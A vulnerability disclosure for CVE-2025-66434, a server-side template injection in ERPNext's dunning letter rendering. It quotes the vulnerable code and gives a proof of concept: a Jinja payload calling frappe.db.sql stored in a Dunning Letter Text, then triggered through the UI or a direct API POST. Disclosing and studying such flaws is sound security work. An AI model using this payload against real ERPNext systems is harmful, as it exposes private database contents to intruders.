SSTI on ERPNEXT ≤ 15.89.0 (CVE-2025-66434)
Exploit Author: An Chu ( aka iamanc )
Vendor: Frappe Technologies Pvt. Ltd.
Product: ERPNext
Affected Versions: ERPNext ≤ 15.89.0
CVE: CVE-2025-66434
Impact:
An authenticated attacker can exploit this vulnerability to execute arbitrary SQL queries via server-side template injection, resulting in disclosure of sensitive database information.
Summary:
A Server-Side Template Injection (SSTI) vulnerability exists in the get_dunning_letter_text function of Frappe ERPNext.
The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although ERPNext uses a custom Jinja2 SandboxedEnvironment, dangerous globals such as frappe.db.sql remain accessible via get_safe_globals().
An authenticated attacker with permission to configure Dunning Type and Dunning Letter Text can inject arbitrary Jinja expressions. This results in server-side code execution within a restricted—but unsafe—context and enables potential database information disclosure.
Technical Details:
ERPNext is an open-source ERP system built on the Frappe Framework, which is written in Python and uses MariaDB/MySQL as its backend database.
HTTP Routing in Frappe
/api/method/<python.module.path>.<function_name>
• When a request is sent to this URL, Frappe resolves the module path and executes the corresponding Python function directly.
@frappe.whitelist()
@frappe.whitelist() decorator exposes a Python function as a public HTTP API.Example:
Source code
@frappe.whitelist()
def test(a, b):
return a + b
Request
POST /api/method/module.test
a=1&b=2
Vulnerable Template Rendering:
frappe uses frappe.render_template(template, context) to render Jinja2 templates. Even with SandboxedEnvironment, dangerous globals remain:
from frappe import render_template, get_safe_globals
render_template(user_template, user_context)
get_safe_globals() exposes:
If a malicious Jinja expression is injected, attacker can execute Python code in this restricted environment and query the database.
Vulnerable Functions Analysis:
Vulnerable source code:
File: erpnext/accounts/doctype/dunning/dunning.py
@frappe.whitelist()
def get_dunning_letter_text(dunning_type: str, doc: str | dict, language: str | None = None) -> dict:
DOCTYPE = "Dunning Letter Text"
FIELDS = ["body_text", "closing_text", "language"]
if isinstance(doc, str):
doc = json.loads(doc)
if not language:
language = doc.get("language")
letter_text = None
if language:
letter_text = frappe.db.get_value(
DOCTYPE, {"parent": dunning_type, "language": language}, FIELDS, as_dict=1
)
if not letter_text:
letter_text = frappe.db.get_value(
DOCTYPE, {"parent": dunning_type, "is_default_language": 1}, FIELDS, as_dict=1
)
if not letter_text:
return {}
return {
"body_text": frappe.render_template(letter_text.body_text, doc),
"closing_text": frappe.render_template(letter_text.closing_text, doc),
"language": letter_text.language,
}
Root Cause
"body_text": frappe.render_template(letter_text.body_text, doc)
body_text is loaded directly from the Dunning Letter Text child table.frappe.render_template() without sanitization.get_safe_globals(), including frappe.db.sql.As a result, an authenticated attacker can inject arbitrary Jinja2 expressions leading to Server‑Side Template Injection (SSTI).
PoC: Step 1: Inject SSTI Payload via UI
Navigate to:
Accounting → Accounts Receivable → Dunning Type
Create or edit a Dunning Type.
In the Dunning Letter Text child table, set the Body Text field to:
Save the document.
At this stage, the payload is stored but not yet executed.
body_text = {{ frappe.db.sql(“SELECT @@version”) }}//iamanc
Step 2: Trigger SSTI via UI
Navigate to:
Accounting → Dunning -> New Dunning
Select:
Dunning Type: SSTI-Test2
When the Dunning form loads and processes the selected Dunning Type, the backend automatically invokes:
get_dunning_letter_text(dunning_type, doc, language)
During execution, the injected payload inside body_text is rendered by:
frappe.render_template(letter_text.body_text, doc)
Observe that:
The literal payload is no longer visible.
The rendered output contains the database version, for example:
10.6.24-MariaDB-ubu2204
This confirms that the SSTI payload is successfully executed on the server.
Alternative Trigger: Direct API Invocation
The same vulnerability can be triggered by directly calling the whitelisted method:
POST /api/method/erpnext.accounts.doctype.dunning.dunning.get_dunning_letter_text
When the API processes the request, the injected body_text is rendered and the SSTI payload is executed, returning the evaluated output in the response.